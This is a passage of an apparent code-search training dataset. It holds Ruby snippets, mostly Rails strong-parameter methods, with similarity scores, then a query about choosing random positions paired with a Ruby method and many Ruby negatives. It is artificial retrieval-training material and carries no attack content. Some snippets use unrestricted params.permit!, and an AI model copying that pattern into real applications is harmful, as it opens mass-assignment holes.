whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
choose two random positions in the world
def moves(world_state) [rand(world_state.size), rand(world_state.size)] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def position_generator(pos1, pos2, length)\n # generate a position away from earth and moon\n position = rand(1..length - 1)\n if pos1.include? position or pos2.include? position\n position = position_generator(pos1, pos2, length)\n end\n return position\nend", "def create_random_world\n randomize_terrain\n randomize_entities\n end", "def random_coord(min, max)\n rand * (max-min) + min\nend", "def sel_rand(player, opponent)\n all = @corners + @edges + @center # all board positions\n taken = player + opponent # all occupied board positions\n position = (all - taken).sample # take a random open position\n end", "def set_coordinates\n [rand(-100..100), rand(-100..100)]\n end", "def generate_coords\n coords = [0,0]\n coords[0] = rand(9)\n coords[1] = rand(9)\n coords\n end", "def random_routes\n random1, random2 = @solution.sample(2)\n loop do\n random1, random2 = @solution.sample(2)\n break unless random1.vertices.size < 3\n end\n return random1, random2\n end", "def coordinates\n [rand(50), rand(90)]\n end", "def assign_random_movement_and_targets(move_positions, type)\n #assign random movement position\n if !battler.moved? #not already moved?\n @move_pos = move_positions[rand(move_positions.size)]\n else #has moved - set to self position\n @move_pos = self.pos\n end\n \n #Not Guard\n if type != nil\n #get skill/attack/etc usage area\n act_range = range\n #select random attack position\n @position = act_range[rand(act_range.size)]\n #find targets (if any)\n $tbs_cursor.moveto(@move_pos)\n $tbs_cursor.target_positions = battler.target_zone(@move_pos, position, type)\n @targets = tbs_make_targets\n else #Guard Type\n @position = battler.pos\n @targets = [battler]\n end\n end", "def randomLatLng()\n max_north=18.8\n min_north=14\n max_east=122\n min_east=121.5\n puts \"#{rand(min_north..max_north)},#{rand(min_east..max_east)}\"\nend", "def uniform_random_position\n [rand(self.width), rand(self.height)]\n end", "def generateCoords(position)\n\t\tcase position\n\t\twhen 'inside'\n\t\t\txRandomValue = Random.rand(@minInCentroid..@maxInCentroid)\n\t\t\tyRandomValue = Random.rand(@minInCentroid..@maxInCentroid)\n\t\t\treturn xRandomValue, yRandomValue\n\t\twhen 'outside'\n\t\t\txlist = [Random.rand(0..@minInCentroid), Random.rand(@maxInCentroid..@areaLengthSide)]\n\t\t\tylist = [Random.rand(0..@minInCentroid), Random.rand(@maxInCentroid..@areaLengthSide)]\n\t\t\treturn xlist.sample, ylist.sample\n\t\tend\n\tend", "def rand_location\n {lat: rand_in(40, 50), lon: rand_in(40, 80) * -1, ele: rand_in(200, 400)}\nend", "def getRandomPoint()\n while(true)\n pos = @bbox.randomPoint() ;\n return pos if(isInside(pos)) ;\n end\n end", "def random_point\n while true\n x = rand(0...@p)\n yy = (x**3 + @a*x + @b) % @p\n y = yy.sqrtmod(@p)\n if y\n if rand(2) == 0\n return [x, y]\n else\n return [x, @p-y]\n end\n end\n end\n end", "def mutate\n i, j = rand(City.cities.size), rand(City.cities.size)\n if i > j\n @offspring_a.cities[i], @offspring_a.cities[j] = @offspring_a.cities[j], @offspring_a.cities[i]\n end\n\n i, j = rand(City.cities.size), rand(City.cities.size)\n if i > j\n @offspring_b.cities[i], @offspring_b.cities[j] = @offspring_b.cities[j], @offspring_b.cities[i]\n end\n end", "def random_point_around(point1, point2)\n half_way = [point2.first - point1.first, point2.last - point1.last]\n half_way = [half_way.first/2.0, half_way.last/2.0]\n center = [point1.first + half_way.first, point1.last + half_way.last]\n\n random_part = rand_scale( rotate90(half_way) )\n [center.first + random_part.first, center.last + random_part.last]\n end", "def grab_x_loc\n rand 100\n end", "def rand_direction\n rand*2-1\n end", "def gen_location\n while true do\n position = rand(Avoid::SCREEN_W - height)\n return position if can_place(position)\n end\n end", "def randomize_players(p1, p2)\n r = rand(2)\n a = []\n if r == 0\n a << p1\n a << p2\n else\n a << p2\n a << p1\n end\n a\n end", "def get_random_position\n [rand(0..BOARD_WIDTH-1), rand(0..BOARD_HEIGHT-1)]\n end", "def location_params(location)\n return rand(-location..location)\nend", "def get_random_position\n arr = $game_map.region_tile_mapping[@page.random_position_region]\n return arr.delete_at(rand(arr.length))\n end", "def next_location(random)\n raise 'Error: No location connections to current location' unless @neighbors.count != 0\n rand_position = random.rand(@neighbors.count)\n move_location = @neighbors[rand_position]\n move_location\n end", "def randomize_position\n return if @page.nil?\n return if $game_switches[TH::Random_Event_Positions::Disable_Switch] || [email protected]_position?\n # if randomize type is \":start\", check if it's already been visited\n # else, check if randomize type is \":init\"\n if @page.random_position_type == :start\n return if $game_system.random_position_event[[@map_id, @id]]\n elsif @page.random_position_type == :init\n return if @position_randomized\n end\n @position_randomized = true\n \n srand\n $game_system.random_position_event[[@map_id, @id]] = true\n begin\n pos = get_random_position\n return unless pos\n end while !$game_map.events_xy(pos[0], pos[1]).empty?\n \n moveto(pos[0], pos[1])\n end", "def random_neighbor\n if roomAdj\n # Choose neighboring adjacent room\n return roomAdj.to_a.sample \n end \n end", "def rand_point()\n \n end", "def crossover\n p1 = rand(@elements)\n p2 = rand(@elements)\n # to modify to p1 must be smaller than p2\n p1, p2 = p2, p1 if p2 < p1\n (p1..p2).each do |index|\n @tg[@s1][index], @tg[@s2][index] = @tg[@s2][index], @tg[@s1][index]\n end\n end", "def random_team()\n return @team_a if rand > 0.5\n @team_b\n end", "def next_location(rando)\n random = Random.new(rando.seed)\n @neighbors[random.rand([email protected])]\n end", "def random_move probability = 1\n return if rand > probability\n\n room = get_object self.container\n area = room.area\n unless room.nil?\n exits = room.exits.select do |e|\n other_side = get_object e.exit_room\n not other_side.nil? and other_side.area == area\n end.map {|e| e.alt_names[0] }\n\n if exits.respond_to? :shuffle\n exits = exits.shuffle\n else\n exits = exits.sort_by { rand }\n end\n\n go exits[rand(exits.length)]\n end\n end", "def get_new_position\r\n\t\tloc_position = prng.rand(4)\r\n\t\treturn loc_position\r\n\r\n\tend", "def initialize_position\n done = false\n pos = {:facing => Game::FACINGS[rand(4)]}\n while not done do\n start_at = rand(board_size * board_size)\n start_at = [start_at / board_size, start_at % board_size]\n done = players(:x_pos => start_at[0], :y_pos => start_at[1]).empty?\n end\n pos[:x] = start_at[0]\n pos[:y] = start_at[1]\n pos\n end", "def randomize_entities\n valid_entities = @@data[:entities][:types].select { |e| e.random_spawn_chance > 0 }\n (0...@width).each do |x|\n (0...@height).each do |y|\n \n # Roll to see if any entities are created here\n chosen_entity = nil\n valid_entities.each do |e|\n roll = rand(100) / 100.0\n if roll < e.random_spawn_chance\n chosen_entity = e\n break\n end\n end\n\n # If an entity would be created here, add it to the world\n if chosen_entity\n @living_entities << chosen_entity.new(x, y)\n end\n\n end\n end\n end", "def rand_point()\n len= Math.sqrt(rand)*@r;\n deg= rand*2*Math::PI;\n x= @x+len*Math.cos(deg);\n y= @y+len*Math.sin(deg);\n [x, y]\n end", "def crossover\r\n @population += @crossover.times.map do\r\n pos = rand(@length)\r\n first, second = 2.times.map{ @population[rand(@population.length)][:value] }\r\n firstmap = (1<<@length)-(1<<pos)\r\n secondmap = (1<<pos)-1\r\n value = (first & firstmap) + (second & secondmap)\r\n # puts (\"%.#{@length}b\" % first) + ' cross(' + (\"%5i\" % pos) + ') ' + (\"%.#{@length}b\" % second) + ' --> ' + (\"%.#{@length}b\" % value)\r\n bear(value)\r\n end\r\n end", "def randomDistantPosition()\n\t\tcx = centerX\n\t\tcy = centerY\n\t\t# make sure it's far enough from every other system\n\t\totherbodies = celestialBodies\n\t\t\n\t\tloop do\n\t\t\tpos = randomLocation(cx, cy, SolarSystemRadius)\n\t\t\t\n\t\t\tok = true\n\t\t\tif otherbodies.empty?\n\t\t\t\treturn pos\n\t\t\tend\n\t\t\totherbodies.each do |cb|\n\t\t\t\tdist = Math.sqrt((pos[0] - cb.x)**2 + (pos[1] - cb.y)**2)\n\t\t\t\tif dist < MinBodyDist\n\t\t\t\t\tok = false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tif ok\n\t\t\t\treturn pos\n\t\t\tend\n\t\tend\n\tend", "def random_point_change\n if (@count % 2 == 0)\n @random_points = rand(100)\n else\n @random_points = @random_points\n end\n end", "def moving\n\t\tget_rand(2)\n\t\tcase @location\n\t\twhen \"Cathedral\"\n\t\t\tfrom_cathy()\n\t\twhen \"Hospital\"\n\t\t\tfrom_hospital()\n\t\twhen \"Hillman\"\n\t\t\tfrom_hillman()\n\t\twhen \"Museum\"\n\t\t\tfrom_museum()\n\t\tend\n\tend", "def pick()\n # p cumulative_area\n # {4=>[-2, -2, -1, -1], 7=>[1, 0, 3, 0]}\n # now generating any random number b/w our total_area\n random_no = rand(total_area);\n cumulative_area.each do |k , v|\n # now chcking in which cumulative_area that number is lying \n if random_no < k\n x1 = v[0];\n y1 = v[1];\n x2 = v[2];\n y2 = v[3];\n #now generating any random number b/w x1 & x2 both inclusive range in that rectangle points \n x = rand(x1..x2)\n #now generating any random number b/w y1 & y2 both inclusive range in that rectangle points \n y = rand(y1..y2)\n return [x,y]\n end\n end\n end", "def alter(x1, x2, px1)\n raise ArgumentError, '0 <= px1 <= 1' unless px1 >=0 && px1 <= 1\n random < px1 ? x1 : x2\n end", "def get_random_loc()\n [rand(row_size), rand(row_size)]\n end", "def test_possible_location_from_cathedral_if_rand_is_one\r\n\t\toakland = City::new\r\n\t\trand_val = 1\r\n\t\tmuseum = oakland.generate_cathedral_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal museum[0], \"Museum\"\r\n\t\tassert_equal museum[1][0], \"Bar St.\"\r\n\tend", "def pbRandomRoam(index)\n if $PokemonGlobal.roamPosition\n keys=pbRoamingAreas(index).keys\n $PokemonGlobal.roamPosition[index]=keys[rand(keys.length)]\n end\nend", "def random_body_location(roll)\n case roll\n when 1\n \"head\"\n when 2\n \"neck\"\n when 3\n \"torso\"\n when 4\n \"groin\"\n when 5\n \"right hand\"\n when 6\n \"left hand\"\n when 7\n \"right lower arm\"\n when 8\n \"right upper arm\"\n when 9\n \"right shoulder\"\n when 10\n \"left shoulder\"\n when 11\n \"left upper arm\"\n when 12\n \"left lower arm\"\n when 13\n \"butt\"\n when 14\n \"right thigh\"\n when 15\n \"right shin\"\n when 16\n \"right foot\"\n when 17\n \"left thigh\"\n when 18\n \"left shin\"\n when 19\n \"left foot\"\n when 20\n \"back\"\n end\nend", "def rand_better(x, y)\n\trand((y+2) - x) + (x -1)\nend", "def generate_lands!\n\n resources = %w(wood brick metal stone)\n random_resource = resources.concat(resources.sample(2)).shuffle\n random_dice_points = %w(1 2 3 4 5 6).shuffle\n\n %w(0 1 2 3 4 5).shuffle.each.with_index do |position, index|\n game.lands.create(\n resource_type: random_resource[index],\n position: position,\n dice_point: random_dice_points[index]\n )\n end\n end", "def pick\n @gommis_count = Gommi.count\n @gommis = Gommi.offset(rand(Gommi.count)).first\nend", "def addrandomcars(lat0,lon0,lat1,lon1, count )\n Fiber.new do\n count.times do\n lat = (lat1-lat0) * rand() + lat0\n lon = (lon1-lon0) * rand() + lon0\n @pgconn.query(\"insert into cars(lat,lon,avail) values(#{lat},#{lon}, true)\")\n end\n end.resume\n end", "def place_randomly(width=@width, height=@height, nodeset=@nodes)\n nodeset.each_value do |node|\n node.location = Vector[rand(width), rand(height)] if !node.static\n end\n end", "def winner(ind1, ind2)\n (ind1 <=> ind2).zero? ? [ind1, ind2][rand(2)] : [ind1, ind2].min\n end", "def setup_castle\r\n randomnums = Random.new\r\n zero_out\r\n treasures_allot\r\n terrors_allot\r\n set_at_room(4,6, 100 + randomnums.rand(1...100))\r\n set_at_room(16,6, 100 + randomnums.rand(1...100))\r\nend", "def initialize(position_variation = 1..100)\n @position = rand(position_variation)\n end", "def run(position)\n if (rand() > 0.7)\n position += 5\n puts \"Solid run.\"\n\n elsif (rand() > 0.9)\n position += 7\n puts \"Yasssss Queeen, you werked it\"\n \n elsif (rand() < 0.2)\n position += 0\n puts \"You more felt like standing still\"\n \n else \n position -= 5\n puts \"Opponent drags you back\"\n end\n return position\n \n end", "def random_middle(delta, rock_count, now)\n if delta > 100 && rock_count < 1 #rand(5..15)\n rand_x = @window.width * rand(0.4..0.6)\n rand_y = @window.height * rand(0.4..0.6)\n Rock.new(@window, @object_pool, x: rand_x, y: rand_y, vel_x: 0, vel_y: 0, ang_vel: 1)\n @last_spawn = now\n end \n end", "def generate_random_guesses\n position1 = validate_ai_input\n guess1 = @board.reveal(position1)\n @board.render\n position2 = validate_ai_input\n guess2 = @board.reveal(position2)\n @board.render\n result = is_match?(guess1, guess2)\n if !result\n write_to_ai_memory(guess1.value, position1, guess2.value, position2)\n end\n end", "def move\n @position += MOVMENT_ALTERATIONS[rand(0..1)]\n end", "def rand_food\n rf = [rand(HEIGHT), rand(WIDTH)]\n while @snake.indices.include?(rf) && playing?\n rf = [rand(HEIGHT), rand(WIDTH)]\n end\n rf\n end", "def spawn_smulg\r\n smulg = spawn_monster(\"Smulg\", 30, 15, 65, 50, rand(3..5), (3..10))\r\nend", "def first\n\t\trandom = get_rand(4)\n\t\tif random == 0\n\t\t\t@location = \"Museum\"\n\t\telsif random == 1\n\t\t\t@location = \"Cathedral\"\n\t\telsif random == 2\n\t\t\t@location = \"Hospital\"\n\t\telsif random == 3\n\t\t\t@location = \"Hillman\"\n\t\telse\n\t\t\traise \"Something bad has happened\"\n\t\tend\n\tend", "def random_coord\n letter = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\"].sample\n number = rand(1..10).to_s\n letter + number\n end", "def place_random_ships\n ship_count = size / 4\n while ship_count.positive?\n row = rand(@grid.size)\n col = rand(@grid.size)\n if self[[row, col]] == :N\n self[[row, col]] = :S\n ship_count -= 1\n end\n end\n end", "def move_random\n case rand(4)\n when 0\n move_down(false)\n when 1\n move_left(false)\n when 2\n move_right(false)\n when 3\n move_up(false)\n end\n end", "def random_player \n\t\tsalida_aleatoria = rand(1..3)\n\t\tsalida_aleatoria\n\tend", "def populate_random(n)\n n.times do\n set(rand(0...@x_size), rand(0...@y_size), :alive)\n end\n end", "def place_random_ship\n unless full?\n placement = []\n placement << ([email protected]).to_a.shuffle.first\n placement << (0...@grid[0].length).to_a.shuffle.first\n @grid[placement[0]][placement[1]] = :s\n else\n raise 'Board is full'\n end\n\n end", "def generate\n #create random number generator\n rng = Random.new\n @points = Array.new\n\n #num_points times, make random value in ranges \n @num_points.times do\n @points << [rng.rand(@x_lims), rng.rand(@y_lims)]\n end\n end", "def random_join\n union_disjoint_sets_carve_wall(skip_probability: [true, false] )\n end", "def random_turn deg\n rand(deg) - (deg/2)\n end", "def cross(s1,s2)\n if rand() < Crossprob\n # Choose a random point to perform crossover:\n loc = 1+rand(s1.length-1)\n t1 = s1[0..loc-1] + s2[loc..-1]\n t2 = s2[0..loc-1] + s1[loc..-1]\n else\n t1 = s1\n t2 = s2\n end\n return t1,t2\nend", "def fill_randomly\n #find which positions to fill\n self.players.each{|p| self.remove_player(p) }\n positions = self.position_array\n pos_taken = self.rosters_players.collect(&:position)\n pos_taken.each do |pos|\n i = positions.index(pos)\n positions.delete_at(i) if not i.nil?\n end\n return if positions.length == 0\n #pick players that fill those positions\n for_sale = self.purchasable_players\n #organize players by position\n for_sale_by_pos = {}\n positions.each { |pos| for_sale_by_pos[pos] = []}\n for_sale.each do |player|\n for_sale_by_pos[player.position] << player if for_sale_by_pos.include?(player.position)\n end\n #sample players from each position and add to roster\n positions.each do |pos|\n players = for_sale_by_pos[pos]\n player = players.sample\n next if player.nil?\n players.delete(player)\n add_player(player, pos, false)\n end\n self.reload\n end", "def choose\n self.move = %w(spock lizard).sample\n end", "def nearby(lat=37.332, lng=-122.031)\n [lat+rand(40)/1000.0-0.02, lng+rand(40)/1000.0-0.02]\n end", "def identity_random\r\n new_point = identity\r\n if new_point.x != 0 and new_point.y != 0\r\n if rand(2) > 0\r\n new_point.x = 0\r\n else\r\n new_point.y = 0\r\n end\r\n end\r\n return new_point\r\n end", "def ramdon_location\n seleccion = @plataformas[rand(@plataformas.length)]\n ubicacion_x = seleccion.x\n ubicacion_y = seleccion.y - 45\n [ubicacion_x, ubicacion_y]\n end", "def test_possible_location_from_museum_if_rand_is_zero\r\n\t\toakland = City::new\r\n\t\trand_val = 0\r\n\t\tcathedral = oakland.generate_museum_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal cathedral[0], \"Cathedral\"\r\n\t\tassert_equal cathedral[1][0], \"Bar St.\"\r\n\tend", "def move_type_random\r\n case rand(6)\r\n when 0..3 then move_random\r\n when 4 then move_forward\r\n when 5 then @stop_count = 0\r\n end\r\n end", "def random_position_region\n return eval_random_position_region unless @random_position_region.nil?\n load_notetag_random_event_positions\n return eval_random_position_region\n end", "def test_it_can_pick_random_coord\n assert_equal true, @board.cells.keys.include?(@board.random_coord)\n end", "def make_targets\n @targets = Array.new(8) { Vec2D.new(rand(width), rand(height)) }\nend", "def findRandomBow\n valid = false\n while !valid\n x = rand(10)\n y = rand(10)\n index = getIndex(x,y)\n valid = true if !shipPresent(index, \"enemy\")\n end\n return x, y \n end", "def random_ship\n SHIPS[SHIPS.keys.sample]\n end", "def sel_avail_cor(player, opponent)\n taken = player + opponent # all occupied board positions\n # determine which corners are taken and take a random corner from the open opcor pair\n (taken & @opcor_1).size == 2 ? position = @opcor_2.sample : position = @opcor_1.sample\n end", "def generate(north_west_corner,south_east_corner)\n\t\tn_y,n_x=north_west_corner.position\n\t\ts_y,s_x=south_east_corner.position\n\t\tsplit_point=Point.new(rand(n_y+2..s_y-2),rand(n_x+2..s_x-2),'wall')\n\t\tif(split_point.x==nil or split_point.y==nil)\n\t\t\treturn @map\n\t\tend\n\t\tgenerate_walls(split_point,north_west_corner,south_east_corner)\n\t\tpoint_array=middle_points(north_west_corner,south_east_corner,split_point)\t\n\t\tpoint_array.each_slice(2) {|a|\n\t\t\tgenerate(a[0],a[1])\n\t\t}\n\tend", "def randCircleCord(r, x = nil)\n x = rand(r*2) if x.nil?\n y1 = -Math.sqrt(r**2 - (x - r)**2)\n y2 = Math.sqrt(r**2 - (x - r)**2)\n return x, (rand(2)==0 ? y1.to_i : y2.to_i) + r\nend", "def randomize_directions(directions)\n directions.shuffle\n end", "def move_type_random\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Random\n move_random\n when 4 # 1 step forward\n move_forward\n when 5 # Temporary stop\n @stop_count = 0\n end\n end", "def random_move(board)\n empty_spot = winning_move(board)\n empty_spot ||= board.empty_position.sample\n end", "def setStartPosition(max_x, max_y)\n @position = [Random.rand(0..max_x-1), Random.rand(0..max_y-1)]\n end", "def treasures_allot\r\n randomnums = Random.new\r\n for num in (1..4) do\r\n roomn = randomnums.rand(1...19)\r\n num += 1\r\n while roomn == 6 or roomn == 11 or roomn == 9 or get_some_room_stuff(roomn,6) != 0\r\n roomn = randomnums.rand(1...19)\r\n end\r\n num-=1\r\n set_at_room(roomn,6, randomnums.rand(10...109))\r\n #puts $ooms_map[roomn]\r\n #puts(\"----------------treasure\")\r\n end\r\nend", "def create_world\r\n count = 1\r\n @height.times do |j|\r\n @width.times do |i|\r\n\t #this creates half water and half earth positions\r\n\t create_position(\"water\", i + 1, j + 1) if (count <= ((@width*@height) / 2))\r\n\t\tcreate_position(\"earth\", i + 1, j + 1) if (count > ((@width*@height) / 2))\r\n\t\t#create_position(\"earth\", i + 1, j + 1)\r\n\t\tcount += 1\r\n end\r\n end\r\n\tif @log == true\r\n\t @logger.write \"created world\"\r\n\tend\r\n end", "def ship_random_cordinates(ship_size)\n ship = Ship.new ship_size\n ship_size = ship_size - 1\n flag = false\n while not flag\n cordinate_x = random_cordinate\n head_position = cordinate_x.split(//,2)\n cordinate_y = CORDINATES.map{|x| (head_position[0].ord + x[0]*ship_size).chr + (head_position[1].to_i+ x[1]*ship_size).to_s}\n cordinate_y = cordinate_y[rand(4)]\n if ship.set_position(cordinate_x,cordinate_y)\n flag = put_ship(ship)\n end\n end\n ship\n end", "def insert_mines\n @random_spots = []\n @num_of_mine.times do\n\n while @random_spots.length < @num_of_mine\n rand_num = Random.rand(@num_of_tiles**2)\n\n if !@random_spots.include?(rand_num)\n @random_spots << rand_num\n end\n\n end\n end\nend", "def move_type_random\n # Branch by random numbers 0-5\n case rand(6)\n when 0..3 # Random\n move_random\n when 4 # 1 step forward\n move_forward\n when 5 # Temporary stop\n @stop_count = 0\n end\n end", "def random_black_move\n possible_moves = @active_piece.moves + @active_piece.captures\n location = possible_moves.sample\n { row: location[0], column: location[1] }\n end", "def populate\n self.start_coordinate_x = rand(11)\n self.start_coordinate_y = rand(11)\n if ship_position == 'vertical'\n self.end_coordinate_x = self.start_coordinate_x\n self.end_coordinate_y = (self.start_coordinate_y + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_y - SHIP_SIZE) : (self.start_coordinate_y + SHIP_SIZE)\n else\n self.end_coordinate_y = self.start_coordinate_y\n self.end_coordinate_x = (self.start_coordinate_x + SHIP_SIZE) > MAX_SIZE_BOARD ? (self.start_coordinate_x - SHIP_SIZE) : (self.start_coordinate_x + SHIP_SIZE)\n end\n end", "def guess_pos()\n sum = TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_GK]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_D]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_M]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_S]\n pos = rand(1..sum)\n ret = {\n PLAYER_POSITION_GK => 0,\n PLAYER_POSITION_D => 0,\n PLAYER_POSITION_M => 0,\n PLAYER_POSITION_S => 0\n }\n \n if pos <= TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_GK]\n ret[PLAYER_POSITION_GK] = PLAYER_POSITION_MAX\n elsif pos <= TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_GK]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_D]\n ret[PLAYER_POSITION_D] = PLAYER_POSITION_MAX\n elsif pos <= TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_GK]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_D]\n + TEAM_REFILL_PLAYERS_POS_TO[PLAYER_POSITION_M]\n ret[PLAYER_POSITION_M] = PLAYER_POSITION_MAX\n else\n ret[PLAYER_POSITION_S] = PLAYER_POSITION_MAX\n end\n \n return ret\n end", "def test_possible_location_from_museum_if_rand_is_one\r\n\t\toakland = City::new\r\n\t\trand_val = 1\r\n\t\thillman = oakland.generate_museum_locs(oakland, rand_val)\r\n\r\n\t\tassert_equal hillman[0], \"Hillman\"\r\n\t\tassert_equal hillman[1][0], \"Fifth Ave.\"\r\n\tend", "def random(*args); end" ]
